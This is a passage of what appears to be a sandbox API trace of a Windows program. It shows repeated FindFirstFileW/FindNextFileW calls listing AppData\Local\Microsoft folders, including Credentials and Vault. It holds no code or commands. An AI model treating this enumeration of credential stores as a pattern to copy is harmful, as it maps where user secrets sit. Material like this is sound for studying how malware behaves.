ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e02a2a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0179.128] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0179.128] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0179.128] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0179.139] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75a49245, ftCreationTime.dwHighDateTime=0x1d5d695, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TokenBroker", cAlternateFileName="TOKENB~1")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xbee6232d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe8b3b09f, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xe8b3b09f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0179.140] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0179.141] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 0 [0179.141] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.141] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0179.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0179.141] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0179.142] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FontCache", cAlternateFileName="FONTCA~1")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="input", cAlternateFileName="")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0179.143] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdedaa310, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xdedaa310, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0179.144] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e02a2a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0179.144] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0179.144] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0179.144] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0179.144] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75a49245, ftCreationTime.dwHighDateTime=0x1d5d695, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TokenBroker", cAlternateFileName="TOKENB~1")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xbee6232d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe8b3b09f, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xe8b3b09f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0179.146] FindNextFileW 